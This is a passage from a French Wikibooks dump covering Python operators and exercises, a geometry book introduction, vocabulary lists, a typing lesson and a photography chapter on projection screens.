logiques *les opérateurs de comparaisons *les opérateurs sur les séquences *les opérateurs numériques *les opérateurs d'affectation Les opérateurs peuvent avoir des sens différents en fonction des types d'opérandes sur lesquels ils agissent. == Présentation des différents opérateurs == === les opérateurs logiques === Les expressions avec un opérateur logique sont évalué à True ou False * X '''or''' Y : ou logique, si X évalué à True, alors l'expression est True et Y n'est pas évalué. Sinon, l'expression est évalué à la valeur booléenne de Y. * X '''and''' Y : et logique, si X est évalué à False, alors l'expression est False et Y n'est pas évalué. Sinon, l'expression est évaluée à la valeur booléenne de Y. * '''not''' X : évalué à la valeur booléenne oposée de X. === les opérateurs de comparaisons === Tout comme les opérateurs logiques, les opérateurs de comparaison renvoie une valeur booléenne True ou False. Les opérateurs de comparaisons s'applique sur tous les types de bases. * '''<''' strictement inférieur * '''>''' strictement supérieur * '''<=''' inférieur ou égal * '''>=''' supérieur ou égal * '''==''' égal * '''!=''' différent * '''<>''' différent, on utilisera de préférence != * X '''is''' Y : X et Y représente le même objet. * X '''is not''' Y : X et Y ne réprésente pas le même objet Il est possible d'enchainer les opérateurs : X < Y < Z, dans ce cas, c'est Y qui est pris en compte pour la comparaison avec Z et non pas l'évaluation de (X < Y) comme on pourrait s'y attendre dans d'autre langage. === les opérateurs numériques === *Les 4 opérations : + - * / *La division euclidienne : //, donne le quotient; % donne le reste (13//5 == 2, 13%5 == 2) === les opérateurs d'affectation === * '=' * Affectation multiple, aka ''x = y = z = 3'' * Affectation paralèle aka ''x,y = 1 , 0.5 == Priorité des opérateurs == *explication *tableau de priorité des opérateurs {{lienDePage|Programmation Python|Type|Exercices Base du langage}} Programmation Python Exercices Base du langage 5714 44621 2006-06-16T09:56:21Z Boly38 136 {{Programmation Python}} {{Programmation Python}} == Quelques fonctions == *print : pour afficher du texte à l'écran. Exemple : ''print"texte"'' *raw_input : insere dans une variable ce que l'utilisateur a rentré. Exemple : ''variable = raw_input("il est possible d'afficher du texte ici")'' == Exercices == 1. Ecrire un programme qui affiche "Bonjour le monde". 2. Ecrire un programme qui permet de saisir le nom de l'utilisateur et de renvoyer "Bonjour", suivi de ce nom 3. Ecrire un programme qui demande à l'utilisateur la saisie de a et b et affiche la somme de a et de b. 4. Ecrire un programme qui demande à l'utilisateur son année de naissance et qui affiche son âge. L'année courante sera mise dans une variable. 5. Ecrire un programme qui demande à l'utilisateur les coordonnées de deux points dans le plan et qui calcule puis affiche la distance entre ces deux points selon la formule : <math>d = \sqrt{(x_2-x_1)^2+(y_2-y_1)^2}</math> [[Programmation Python Correction Exercices Base du langage|Correction des exercices]] Introduction à la Géométrie 5716 24249 2005-10-25T17:26:26Z Manu0x0 647 /* Les espaces euclidiens */ '''Introduction à la Géométrie''' est un livre qui permettra de parcourir la géométrie élémentaire telle qu'elle a été étudiée (ou plutôt ''découverte'') par les anciens, mais avec un langage moderne. Ce texte conprend plusieurs chapitres qui présenteront de façon précise et concise les fondements et les principaux résultats de la géométrie affine, euclidienne et projective. Le contenu et sa présentation sont calqués sur des cours qui sont dispensés durant les trois premières années d'Université en mathématiques et en physique. Une grande partie de l'approche axiomatique conçue par les grecs (et très particulièrement par [[w:Éléments_d'Euclide|Euclide]] dans ses Eléments) disparaît au détriment d'un langage plus élaboré. L'algèbre linéaire apporte une richesse théorique et une élégance à la présentation qui rendent l'étude de la géométrie affine par moment aussi simple qu'un jeu de manipulations algébriques. Il est important de ne pas perdre de vue les idées géométriques et c'est pour cela que ce texte privilégie par moments plus les idées que le formalisme algébrique (qui est souvent plus un outil de preuve formelle). La géométrie affine sera présentée en premier lieu en partant d'une présentation générale et abstraite de la notion d'espace affine pour aboutir au principaux théorèmes en dimension 2 et 3 (dans le plan et l'espace affine réel). On vera qu'en géométrie affine seuls les concepts d'''alignement'' et de ''parallélisme'' ont un sens. Les concepts de distance et d'angle (et de perpendicularité) nécéssitent une structure supplémentaire, une structure dite ''euclidienne'', et seront étudiés dans les chapitres consacrés à la ''géométrie euclidienne''. On profitera alors pour présenter les principaux résultats qui sont les théorèmes de classification des isométries en dimension 2 et 3. La troisième partie de ce texte (qui n'est pas pour le moins la plus courte), sera consacrée à la géométrie projective. On évitera une approche axiomatique ici pour laisser place à une présentation plus moderne s'appuyant sur l'introduction des espaces projectifs par un processus de complétion des espaces affines. Dans cette partie les principaux résultats seront étudiés pour finir avec une étude détaillée de coniques et quadriques et dimensions 2 et 3. <br> <br> '''Prérequis''' : Algèbre abstraite, Algèbre linéaire et Cacul différentiel et intégral. == Les espaces affines== * [[Introduction_à_la_Géométrie:1.1_Généralités_et_premières_définitions|Généralités et premières définitions]] * [[Introduction_à_la_Géométrie:1.2_Sous-espaces_affines_et_parallélisme|Sous-espaces affines et parallélisme]] * [[Introduction_à_la_Géométrie:1.3_Transformations_projectives|Transformations projectives]] * [[Introduction_à_la_Géométrie:1.4_Le_groupe_affine|Le groupe affine]] == Les espaces euclidiens == * [[Introduction_à_la_Géométrie:2.1_Structures_euclidiennes_dans_les_espaces_affines_réels|Structures euclidiennes dans les espaces affines réels]] * [[Introduction_à_la_Géométrie:2.2_Le_plan_et_l'espace_euclidien_réel|Le plan et l'espace euclidien réel]] * [[Introduction_à_la_Géométrie:2.3_Le_groupe_des_isométries|Le groupe des isométries]] == Classification des isométries en dimension 2 et 3 == == Le plan projectif réel == == Les espaces projectifs <math>P^n({\mathbb K})</math> == == Coniques et Quadriques dans le plan et l'espace projectif == Test of English for International Communication 5721 24236 2005-10-25T13:30:50Z Greudin 1 /* Test of English for International Communication */ {{ébauche}} =Test of English for International Communication= <gallery> Image:Houses.of.parliament.overall.arp.jpg image:Toeic-diploma.jpg Image:NYC-Skyline-1.jpg </gallery> Le '''[[w:Test of English for International Communication|Test of English for International Communication]]''' (litt. examen d'anglais pour la communication internationale) ou TOEIC évalue les compétences en [[w:anglais|anglais]] dans des situations habituelles de travail pour des locuteurs non-anglophones. Ce wikilivre a pour ambition de préparer le candidat à cet examen. *Stratégie pour la réussite *Batterie d'exercices écrits *Batterie d'exercices oraux Vocabulaire / Vocabulaire grammatical 5724 24396 2005-10-27T20:04:04Z Oui 428 /* autres langues: */ == écriture== (V001) *1 signe *2 chiffre *3 '''signe de ponctuation''' *4 espacé *5 souligné *6 barré *7 point *8 virgule *9 apostrophe *10 guillemet *11 parenthèse *12 intervalle *13 idéogramme *14 signe de syllabaire *15 lettre *16 pointée *17 barrée *18 accent *19 signe diacritique *20 tréma *21 double apostrophe *22 accent *23 aigu *24 grave *25 circonflexe *26 *27 *28 *29 tilde *30 cédille == alphabet== (V001) *1 alphabet phonétique *2 majuscule *3 minuscule *4 caractères latins *5 caractères grecs *6 caractères cyrilliques *7 caractères hébreux *8 caractères arabes *9 caractères nagaris *10 mot *11 consonne *12 voyelle *13 diphtongue *14 position *15 initiale *16 finale *17 long *18 court *19 signe séparateur *20 tiret *21 locution *22 proposition *23 phrase *24 paragraphe *25 en retrait *26 ligne (à la ~) *27 colonne *28 énumération *29 numérotation *30 sous-chapitre *31 chapitre == racine== (V001) *1 thème *2 étymologie *3 sens *4 dérivation *5 famille de mots *6 accord *7 préfixe *8 suffixe *9 terminaison *10 obligatoire *11 facultatif *12 conseillé *13 formation *14 variable *15 invariable *16 prononciation *17 euphonique == type de mot== (V001) *1 fonction du mot *2 '''nom''' *3 '''article''' *4 défini *5 indéfini *6 '''pronom''' *7 personnel *8 relatif *9 possessif *10 démonstratif *11 '''adjectif''' *12 attribut *13 '''préposition''' *14 '''verbe''' *15 '''adverbe''' *16 '''conjonction''' *17 coordination *18 subordination *19 '''interjection''' == flexion== (V001) *1 singulier *2 duel *3 pluriel *4 sexe *5 féminin *6 masculin *7 neutre *8 '''déclinaison''' *9 cas *10 nominatif *11 accusatif *12 génitif *13 datif *14 ablatif *15 vocatif *16 '''conjugaison''' *17 forme de base *18 '''temps''' *19 présent *20 passé *21 futur *22 '''mode''' *23 indicatif *24 impératif *25 précatif *26 ton d'horreur *27 conditionnel *28 subjonctif *29 ton de demande *30 participe *31 infinitif *32 '''aspect''' *33 perfectif *34 imperfectif *35 '''usage''' *36 transitif *37 intransitif *38 renvoi *39 début de phrase *40 dans la phrase *41 en fin de phrase *42 auxiliaire (verbe ~) *43 sujet *44 objet *45 complément *46 a *47 va *48 voudrait *49 pourrait *50 plait *51 laisse *52 orthographe *53 écriture *54 ordre *55 degré *56 équivalence *57 comparatif *58 superlatif == '''nombre'''== (V001) *1 cardinal *2 ordinal *3 multiplicatif *4 fractionnel *5 collectif *6 itératif *7 distributif *8 heure *9 zéro *10 un *11 deux *12 trois *13 quatre *14 cinq *15 six *16 sept *17 huit *18 neuf *19 dix *20 onze *21 douze *22 treize *23 quatorze *24 quinze *25 seize *26 vingt *27 trente *28 quarante *29 cinquante *30 soixante *31 soixante dix, septante *32 quatre vingt, octante *33 quatre vingt dix, nonante *34 cent *35 mille *36 million *37 milliard *38 billion *39 trillion *40 virgule *41 chiffre suivant la virgule *42 signe négatif *43 plus *44 somme *45 moins *46 différence *47 fois *48 multiple *49 divisé par *50 fraction *51 pourcentage *52 intérêt *53 exposant *54 potence *55 carré *56 cube *57 racine *58 racine carrée *59 racine cubique *60 formule *61 équation *62 conversion *63 extrapolation == oui== (V001) *1 non *2 ne ... pas *3 et *4 ou *5 car *6 si *7 donc == la, le== (V001) *1 les *2 un, une *3 des *4 pas de == je; me; moi== (V001) *1 tu; te; toi *2 elle, il; la, le, lui *3 on *4 indéterminé *5 nous *6 vous *7 elles, ils; les, leur *8 vous *9 formule de politesse *10 le mien, la mienne, les miens, les miennes *11 le tien, la tienne, les tiens, les tiennes *12 le sien, la sienne, les siens, les siennes *13 le nôtre, la nôtre, les nôtres *14 le vôtre, la vôtre, les vôtres *15 le leur, la leur, les leurs *16 le vôtre, la vôtre, les vôtres *17 celle-ci, celui-ci, ceux-ci *18 celle-là, celui-là, ceux-là *19 qui, quel, quelle *20 à qui, à quel, à quelle *21 quelle sorte de *22 quoi == avec== (V001) *1 sans *2 de *3 dans *4 dedans *5 hors *6 dehors *7 contre *8 contre *9 à *10 après *11 près *12 à côté *13 dans, à l'intérieur *14 entre *15 entre *16 parmi *17 au milieu *18 en dessous *19 sur *20 au-dessus *21 dessus, en haut *22 devant, précédent *23 devant, en tête *24 devant, par devant *25 derrière *26 ensuite, derrière *27 puis *28 après ça *29 chez *30 à travers *31 au moyen, grâce à *32 pour *33 pourquoi *34 contre *35 le long de *36 alors *37 suite à *38 malgré *39 depuis *40 durant *41 excepté *42 en sus, en plus *43 éloigné de, dépassant *44 passé *45 concernant, sur, de *46 à cause, pour *47 selon, en vertu *48 jusqu'à *49 de l'autre côté de *50 vers *51 au lieu de *52 - == tant== (V001) *1 plus *2 le plus *3 moins *4 le moins *5 que, de == autres langues: == [http://de.wikibooks.org/wiki/Vokabular_/_Vokabular_der_Grammatik allemand] - [http://fr.wikibooks.org/wiki/Vocabulaire_/_Vocabulaire_grammatical français] - [http://ie.wikibooks.org/wiki/Vocabul%C3%A1rium_/_Vocabul%C3%A1rium_gramatical interlingue (ex occidental)] - Vocabulaire / Adjectifs 5725 24398 2005-10-27T20:11:05Z Oui 428 /* exubérant */ == grandiose== (V001) *1 éminent *2 excellent *3 bon, bien *4 suffisant *5 médiocre *6 insuffisant *7 mauvais *8 exécrable *9 dégoûtant == écœurant== (V001) *1 sucré *2 doux *3 fade *4 neutre *5 acidulé *6 acide *7 agressif *8 caustique, corrosif == brillant== (V001) *1 superbe *2 beau *3 esthétique *4 sombre *5 foncé *6 moyen *7 éclairci, éclairé *8 clair *9 translucide *10 transparent *11 coloré *12 bigarré *13 insignifiant *14 laid *15 horrible *16 monstrueux == gigantesque== (V001) *1 géant *2 grand *3 petit *4 nain *5 minuscule == large== (V001) *1 étroit *2 épais *3 mince *4 profond *5 superficiel *6 obèse *7 corpulent *8 gros *9 lourd *10 léger, maigre *11 trop maigre *12 desséché *13 sec *14 humide *15 mouillé *16 noyé == droit== (V001) *1 courbe *2 tordu *3 haut *4 bas *5 rapide *6 lent *7 progressif *8 saccadé *9 dur *10 rigide *11 flexible *12 mou *13 pâteux *14 liquide *15 fluide *16 très fluide *17 gazeux *18 ténu *19 rare *20 odorant *21 sentant *22 puant *23 solide *24 robuste *25 sensible *26 délicat *27 faible *28 gringalet *29 fragile *30 jeune *31 récent *32 '''neuf''' *33 poli *34 lisse *35 plan *36 plein *37 vaste *38 spacieux *39 ample *40 étroit *41 hygiénique *42 pur *43 propre *44 vieux, ancien *45 ancien *46 antique *47 aîné *48 cadet *49 souillé *50 sale *51 encrassé *52 rugueux *53 mouvementé *54 usagé *55 usé *56 vide *57 rempli *58 encombré *59 bouché == exubérant== (V001) *1 gentil *2 poli *3 courtois *4 obligeant *5 réservé *6 modeste *7 prudent *8 humble *9 serviable *10 précautionneux *11 travailleur *12 appliqué *13 capable *14 circonspect *15 prévenant *16 concentré *17 attentif *18 économe *19 ponctuel *20 bienveillant *21 débrouillard *22 attachant *23 doux *24 affable *25 aimable *26 amical *27 gracieux *28 calme *29 placide *30 sympathique *31 antipathique *32 agressif *33 hostile *34 adversaire *35 insouciant *36 casse-cou *37 étourdi *38 paresseux *39 bon à rien *40 dérangeant *41 insolent *42 orgueilleux *43 téméraire *44 courageux *45 brave *46 tranquille *47 craintif *48 peureux *49 poltron *50 dépensier *51 imponctuel *52 bestial *53 cruel *54 voleur *55 escroc *56 sauvage *57 excessif *58 tapageur *59 fracassant *60 bruyant *61 honnête *62 convenable *63 apprivoisé *64 silencieux *65 endormi *66 introverti *67 vicieux *68 drogué *69 pornographique *70 impudique *71 exhibitionniste *72 érotique *73 sensuel *74 agréable *75 intelligent *76 futé *77 athlétique *78 vigoureux *79 fort *80 pudique *81 prude *82 bête *83 abruti *84 fou *85 repoussant *86 répugnant *87 harmonieux *88 discordant, divergent *89 doué *90 généreux *91 magnanime *92 pingre *93 avare *94 riche *95 aisé *96 abondant *97 pauvre *98 gratuit *99 payant *100 détaxé *101 dégressif *102 progressif *103 au pro rata == autres langues: == [http://de.wikibooks.org/wiki/Vokabular_/_Adjektive allemand] - [http://fr.wikibooks.org/wiki/Vocabulaire_/_Adjectifs français] - [http://ie.wikibooks.org/wiki/Vocabul%C3%A1rium_/_Adjectives interlingue (ex occidental)] - Vocabulaire / Société 5726 24394 2005-10-27T19:54:47Z Oui 428 /* ordre */ == collectivité== (V001) *1 société *2 respect *3 gène *4 aggression *5 non-aggression *6 réciprocité *7 assistance *8 défense *9 *10 droit *11 fondamental *12 loi *13 charte *14 traité *15 pacte *16 réglement *17 application *18 protection *19 violation *20 délit *21 crime *22 humanité *23 homme *24 paix *25 discorde *26 calme *27 trouble *28 social *29 politique *30 économique == institution sociale== (V001) *1 caisse de retraite *2 caisse de santé *3 caisse d'épargne *4 caisse d'épargne construction *5 assurance *6 couverture *7 assurance chômage *8 assurance complémentaire *9 obligation *10 obligatoire *11 facultatif *12 soutien *13 patronal *14 public *15 réservé *16 revenus *17 minimum *18 plein emploi *19 chômage *20 invalidité *21 maladie *22 rééducation *23 convalescence == jeunesse & vieillesse== (V001) *1 protection *2 éducation *3 rigueur *4 égalité *5 chance *6 orphelinat *7 tuteur *8 aide, encouragement *9 bourse *10 échange *11 stage *12 protection contre le licenciement *13 protection contre l'expulsion *14 femme enceinte *15 personne âgée *16 euthanasie *17 suicide assisté *18 intégrité *19 viol *20 mutilation *21 séquestration == ordre== (V001) *1 public *2 police *3 intervention *4 malfaiteur *5 saisir, attraper *6 arrêter *7 saisir, confisquer *8 découvrir *9 dévoiler *10 sur le fait *11 prendre *12 dénoncer *13 accuser *14 enquêter *15 reprocher *16 nuisance *17 atouchement *18 avance *19 force *20 bruit *21 odeur *22 fumée *23 vue *24 proximité *25 insalubrité *26 faux *27 délit *28 abus *29 vol *30 rapine *31 témoin *32 faux-témoignage *33 preuve *34 pièces à conviction *35 saisie *36 convocation *37 interrogatoire *38 accusation *39 partie civile *40 défense *41 perquisition *42 fouille corporelle *43 incarcérer *44 répartition *45 charge *46 droit *46 juge *47 tribunal *48 audience *49 avocat de l'accusation *50 avocat *51 avertir *52 débat *53 interrogatoire des témoins *54 assermenter *55 parjure *56 plaidoyer *57 jugement *58 lecture *59 reporter *60 coupable *61 peine *62 réparation *63 frais de justice *64 sursis *65 assistant social de sursis *66 huissier de justice *67 saisie *68 vendre aux enchères *69 casier judiciaire *70 point *71 registre *72 exécution *73 sommaire == autres langues: == [http://fr.wikibooks.org/wiki/Vocabulaire_/_Soci%C3%A9t%C3%A9 francés] - [http://de.wikibooks.org/wiki/Vokabular_/_Gesellschaft german] - [http://ie.wikibooks.org/wiki/Vocabul%C3%A1rium_/_Societ%C3%A1 interlingue (ex occidental)] - Vocabulaire / Ville 5727 24400 2005-10-27T20:17:14Z Oui 428 /* chantier */ == cité== (V001) *1 bourg *2 habitant *3 riverain *4 maire *5 maire-adjoint *6 conseil municipal *7 conseiller municipal *8 délibérer *9 élections municipales == mairie== (V001) *1 service de recensement de la population *2 service des impôts *3 service d'immigration *4 service d'état civil et mariage *5 service de santé publique *6 service de la main-d'œuvre *7 caisse de retraite *8 caisse de santé *9 propriété municipale *10 cadastre *11 officier municipal *12 chef de service *13 ''préfecture, administration locale''' *14 hôtel du parlement local, régional *15 préfet, administrateur local *16 sous-préfet, vice-administrateur local *17 chef-lieu local *18 canton, unité administrative *19 sous-préfecture, sous-chef-lieu local *20 district *21 élu local *22 département, district *23 élections départementales *24 '''consulat''' *25 notaire *26 tribunal *27 police (hôtel de ~) *28 caserne de police *29 prison *30 caserne == rue== (V001) *1 ruelle *2 impasse *3 pont *4 tunnel *5 voie à grande circulation *6 allée *7 chemin publique *8 boulevard (périphérique) *9 route de traverse *10 parc *11 rangée d'arbres *12 banc *13 toilettes publiques *14 distributeur automatique *15 corbeille à détritus *16 espace pour chiens *17 muselière *18 laisse *19 marquage *20 vaccination *21 '''piéton''' *22 trottoir *23 piste cyclable *24 réservé aux piétons *25 terrain de jeu *26 '''métro''' *27 ligne de bus *28 ligne de tramway *29 station de taxis *30 abri *31 horaire == centre ville== (V001) *1 zone piétonnière *2 municipal *3 cathédrale *4 église *5 synagogue *6 mosquée *7 temple *8 '''musée''' *9 bibliothèque *10 salle de lecture *11 conservatoire *12 salle de spectacle *13 théâtre *14 cinéma *15 salle de concert *16 opéra *17 école des beaux-arts *18 piscine *19 gymnase *20 stade *21 parc zoologique *22 jardin botanique *23 observatoire *24 station météorologique *25 ''gare ferroviaire''' *26 gare routière *27 arrêt *28 aéroport *29 poste *30 boîte à lettres *31 enlèvement (heure d'~) *32 ateliers municipaux *33 garage municipal *34 usine de clarification d'eau *35 usine de traitement des égouts *36 centrale électrique *37 usine à gaz *38 voirie *39 prison *40 fourrière, refuge (pour animaux) *41 port == marché== (V001) *1 foire *2 place du marché *3 halle du marché *4 stand *5 centre commercial *6 magasin *7 étalage *8 vitrine *9 caisse *10 marché de matériaux de construction *11 marché de produits de jardinage *12 entrepôt *13 librairie *14 librairie musicale *15 magasin d'habillement *16 cabine d'essayage *17 magasin d'alimentation *18 caddy *19 balance *20 '''banque''' *21 distributeur de billets *22 rendant la monnaie *23 caisse d'épargne *24 maison de prêt == '''hôpital'''== (V001) *1 laboratoire *2 cabinet médical *3 pharmacie *4 infirmière *5 carte électronique *6 vétérinaire == '''garagiste'''== (V001) *1 commerçant électricien *2 disquaire *3 assureur *4 expert *5 interprète == chantier== (V001) *1 travaux publics *2 maison *3 bâtiment *4 grand bâtiment *5 barre d'habitations *6 tour *7 bâtiment administratif *8 fabrique *9 hangar *10 école *11 permis de construire == autres langues: == [http://de.wikibooks.org/wiki/Vokabular_/_Stadt allemand] - [http://fr.wikibooks.org/wiki/Vocabulaire_/_Ville français] - [http://ie.wikibooks.org/wiki/Vocabul%C3%A1rium_/_Cit%C3%A9 interlingue (ex occidental)] - Vocabulaire / État 5728 28162 2006-01-03T17:16:44Z 84.96.35.54 == nation== (V001) *1 citoyen *2 concitoyen *3 étranger *4 nationalité == régime== (V001) *1 roi *2 empereur *3 président *4 premier ministre, chancelier *5 ministre *6 directeur de cabinet *7 ministère Dactylographie-première leçon 5730 45422 2006-06-22T20:50:14Z 172.184.174.80 ===Première leçon=== Obectif: maîtrise de la frappe des touches '''AZER QSDF''' et '''UIOP JKLM''' ====Les touches-guides==== Les touches-guides sont au nombre de 8. C'est sur elles que les doigts doivent se poser entre deux frappes. Sur la majorité des claviers, les touches '''F''' et '''J''' sont en relief pour indiquer que c'est sur elles que les index doivent se poser. Les touches-guides traditionnelles sont '''QSDF''' pour la main droite et '''JKLM''' pour la gauche. Chacun des quatre doigts se pose sur ces touches. Remarque: Il est maintenant plus recommandé d'utiliser les touches '''AZER''' et '''UIOP''' comme touches-guides car elles sont plus utilisées en raison de la présence de nombreuses voyelles. Les pouces serviront à frapper la barre d'espacement. Bien tapper les lettres suivantes. * '''A''' et '''Q''' avec l'auriculaire gauche * '''Z''' et '''S''' avec l'annuaire gauche * '''E''' et '''D''' avec le majeur gauche * '''R''' et '''F''' avec l'index gauche * '''P''' et '''M''' avec l'auriculaire droit * '''O''' et '''L''' avec l'annuaire droit * '''I''' et '''K''' avec le majeur droit * '''U''' et '''J''' avec l'index droit ====Exercices==== Frapper plusieurs fois les lignes d'exercice suivantes en prenant soin de bien placer ses doigts selon la règle ci-dessus. * azer uiop azer yuio azer yuio azer uiop azer uiop azer uiop azer uiop * reza poiu reza poiu reza poiu reza poiu reza poiu reza poiu reza poiu * qsdf mlkj qsdf mlkj qsdf mlkj qsdf mlkj qsdf mlkj qsdf mlkj qsdf mlkj * ara ira ara ira ara ira ara ira ara ira ara ira ara ira ara ira ara * pop pou pop pou pop pou pop pou pop pou pop pou pop pou pop pou pop * papa papier papa papier papa papier papa papier papa papier papa * irrez errez irrez errez irrez errez irrez errez irrez errez irrez errez * paierez prierez paierez prierez paierez prierez paierez prierez paierez * proue rouerez proue rouerez proue rouerez proue rouerez proue rouerez * qamp sklo qamp skmp qamp sklo qamp sklo qamp sklo qamp sklo qamp sklo * qser uilm qser uilm qser uilm qser uilm qser uilm qser uilm qser uilm * aqpm zsol aqpm zsol aqpm zsol aqpm zsol aqpm zsol aqpm zsol aqpm zsol * posa passa posa passa posa passa posa passa posa passa posa passa * moussez massa moussez massa moussez massa moussez massa moussez massa * querelle sofa querelle sofa querelle sofa querelle sofa querelle sofa * sol aride sol aride sol aride sol aride sol aride sol aride sol * jerk rapide jerk rapide jerk rapide jerk rapide jerk rapide jerk * or massif or massir or massir or massif or massif or massif or massif * poker perdu poker perdu poker perdu poker perdu poker perdu poker * faire peur faire peur paire peur faire peur faire peur faire peur * qui lie qui lie qui lie qui lie qui lie qui lie qui lie qui lie qui * drap kaki drap kaki drap kaki drap kaki drap kaki drap kaki drap kaki * qui jappe qui jappe qui jappe qri jappe qui jappe qui jappe qui jappe * mousse de foie mousse de foie mousse de foie qousse de foie mousse * les mers du sud les mers du sud les mers du sud les mers du sud * limaille de fer limaille de fer limaille de fer limaille de fer * douleur morale douleur morale douleur morale douleur morale douleur * quelle mimique quelle mimique quelle mimique quelle mimique quelle * le repas de midi sera simple le repas de midi sera simple * quel joli massif de mimosa quel joli massif de mimosa * arrosez les rosiers le soir arrosez les rosiers le soir * plusieurs fois milliardaire plusieurs fois milliardaire * disqualifier le joueur qui se dope disqualifier le joueur qui se dope * jamais de sparadrap sur la plaie jamais de sparadrap sur la plaie * il risque de perdre plusieurs fois au jeu de poker il risque de perdre plusieurs fois au jeu de poker * je me rappelle quelques mimiques du speaker surpris je me rappelle quelques mimiques du speaker surpris Programmation Python Tableau des types 5731 44647 2006-06-16T12:31:40Z Boly38 136 -sommaire <center> {|border="1" cellpadding="2" | | colspan="5" align="center" |'''Liste des types''' |- |width="20%"|''int'' |width="80%"|Nombre entier optimisé |- |''long'' |Nombre entier de taille arbitraire |- |''float'' |Nombre à virgule flottante |- |''complex'' |Nombre complexe |- |''str'' |Chaîne de caractère |- |''unicode'' |Chaîne de caractère unicode |- |''tuple'' |Liste de longueur fixe |- |''list'' |Liste de longueur variable |- |''dict'' |dictionnaire |- |''file'' |Fichier |- |''bool'' |Booléen |- |''NoneType'' |Absence de type |- |''NotImplementedType'' |Absence d'implementation |- |''function'' |fonction |- |''module'' |module |- |} ''Tableau 2 : Liste des types prédéfinis en Python'' </center> Programmation Merise MCT 5733 24325 2005-10-26T22:15:08Z 196.29.43.114 '''Texte gras'''''Texte italique''[[Lien titre]][http://www.example.com lien titre] == Texte de sous-titre == [[Media:Exemple.ogg]]<math>Entrez votre formule ici</math>--[[Utilisateur:196.29.43.114|196.29.43.114]] 26 oct 2005 à 22:15 (UTC) ---- Photographie - Chapitre 27 - Équipements et accessoires divers 5734 24328 2005-10-26T23:14:14Z Jean-Jacques MILAN 114 {{Photographie}} * [[Photographie - 27 - Écrans de projection|Écrans de projection]] Photographie - 27 - Écrans de projection 5735 29981 2006-01-23T20:22:00Z 82.239.148.76 /* Angle de diffusion */ {{Photographie}} Les écrans de projection permettent de renvoyer aux spectateurs la lumière qu'ils reçoivent d'un projecteur de diapositives ou de films, d'un rétroprojecteur, d'un vidéoprojecteur, etc. Il en existe de nombreux modèles, qui se différencient avant tout par la nature et les propriétés de leur surface réfléchissante. L'expérience montre que les critères de choix des écrans sont généralement très mal connus, ce qui a pour conséquence immédiate l'achat d'équipements inadaptés aux besoins. En particulier, la géométrie de la salle de projection est rarement prise en compte. == Caractéristiques de réflexion == === Coefficient de réflexion et coefficient de brillance === Un bon écran doit évidemment renvoyer un maximum de lumière vers les spectateurs. Le '''coefficient de réflexion''' est généralement défini par rapport à celui d'un écran blanc mat de référence garni d'un des meilleurs produits connus, l'oxyde de magnésium fraîchement préparé qui renvoie presque toute la lumière qu'il reçoit. On lui attribue par convention un coefficient de réflexion de 1, ou de 100%. Un dépôt récent d'oxyde de magnésium constitue pratiquement un [[Photographie_-_05_-_Sources_orthotropes|corps orthotrope]], c'est-à-dire un corps dont la luminance est constante dans toutes les directions d'observation. Les revêtements blancs mats dont le comportement est presque orthotrope ont un coefficient de réflexion toujours inférieur à 100%. En revanche, d'autres sortes de surfaces renvoient la plus grande partie de la lumière dans une direction privilégiée, leur coefficient de réflexion dépasse largement 100% dans cette direction mais il tombe à des valeurs très basses dans les autres directions. On trouve par exemple, pour les produits habituels du commerce, les ordres de grandeur suivants : {| border="1" cellpadding="5" cellspacing="0" align="center" |- |toile plastique blanche ordinaire | 80% |- |papier blanc à dessin |de 80 à 100% |- |écran plastique de haute qualité |130% |- |écrans perlés ou métallisés |300 à 500% |- |} Les techniciens parlent également du '''coefficient de brillance''' qui représente le rapport entre la luminance et l'éclairement, mais cette notion n'est malheureusement que très peu utilisée. === Angle de diffusion === Comme dans bien d'autres domaines, le choix est ici une affaire de compromis. Les surfaces quasi orthotropes autorisent un angle de vision très grand mais sont relativement peu lumineuses, tandis que les surfaces très lumineuses ne le sont que dans un angle réduit. Un très bon écran blanc mat et un écran perlé offriront la même luminosité à un spectateur qui les regardera sous un angle d'environ 25° par rapport à l'axe de projection de la lumière. Plus près de cet axe, l'écran perlé sera nettement plus lumineux, plus loin, l'avantage ira à l'écran mat et l'écran perlé sera très sombre. Naturellement il ne faut pas trop s'éloigner de l'axe si l'on veur conserver un angle de vision qui ne déforme pas trop les images observées. === Neutralité spectrale === Un écran parfait devrait posséder le même coefficient de réflexion pour toutes les couleurs du spectre visible. En pratique on ne peut que s'approcher de cette condition, les très bons écrans récemment fabriqués ne présentent que des dominantes colorées quasi imperceptibles mais la plupart des surfaces plastiques jaunissent plus ou moins en vieillissant == Utilisation des écrans == === Écrans à grand angle de diffusion === Ils sont avant tout destinés aux salles obscures larges et de faible profondeur. La lumière est réfléchie de façon régulière, de sorte que les spectateurs situés sur les côtés reçoivent à peu près autant de lumière que ceux qui sont au centre. On les réalise avec des toiles plastifiées mates, lisses ou légèrement rugueuses. On peut aussi utiliser une peinture spéciale appliquée au pistolet sur un mur préparé en conséquence. Ce type d'écran est le meilleur pour les salles de conférences où les sièges sont disposés de manière à permettre les discussion. Dans ce cas, il est généralement préférable d'installer l'écran dans un coin de la salle, si possible peu écraliré, plutôt qu'au beau milieu d'un des murs. === Écrans perlés === Chaque mètre carré de ces écrans est porteur de millions de minuscules billes de verre qui renvoient l'essentiel de la lumière dans sa direction d'arrivée et non, comme le ferait un miroir, dans la direction symétrique par rapport à la perpendiculaire à l'écran. La luminosité maximale est obtenue dans un cône dont le demi-angle au sommet vaut environ 5° mais seuls les spectateurs situés à proximité immédiate du projecteur peuvent en bénéficier. En pratique l'écran perlé est avantageux pour les salles profondes et peu larges et il doit être vu par les spectateurs sous un angle qui ne dépasse pas 25° par rapport à la direction de la projection. Il est bon de respecter les règles suivantes : * pour éviter l'effet de scintillement dû à la structure perlée, le premier rang de spectateurs doit être situé à une distance au moins égale à deux fois la largeur de l'écran. Pour un écran de 3 m de large, par exemple, le premier rang doit se situer à au moins 6 m. * la largeur du premier rang de spectateurs ne doit pas dépasser le double de la largeur de l'image projetée. === Écrans métallisés === Comme leur nom l'indique, ils sont recouverts d'une très fine couche métallique, généralement de l'argent, parfois de l'aluminium. Leur utilisation est absolument indispensable pour les projections stéréoscopiques car, contrairement aux écrans mats ou perlés conventionnels, ils ne détruisent pas la polarisation de la lumière. Leur principal inconvénient est de se comporter comme des miroirs, de sorte que les images qu'ils produisent sont perçues comme très inégalement brillantes par les spectateurs, le bord le plus éloigné paraissant beaucoup moins lumineux que le bord le plus proche. Cet effet est évidemment d'autant plus prononcé que l'objectif de projection a une focale plus courte. Il peut être atténué par un gaufrage de la surface, au prix d'une structure relativement grossière est facilement perceptible, ce qui impose d'augmenter la distance entre l'écran et le premier rang des spectateurs. === Écrans pour salles non obscures === Une bonne projection s'effectue 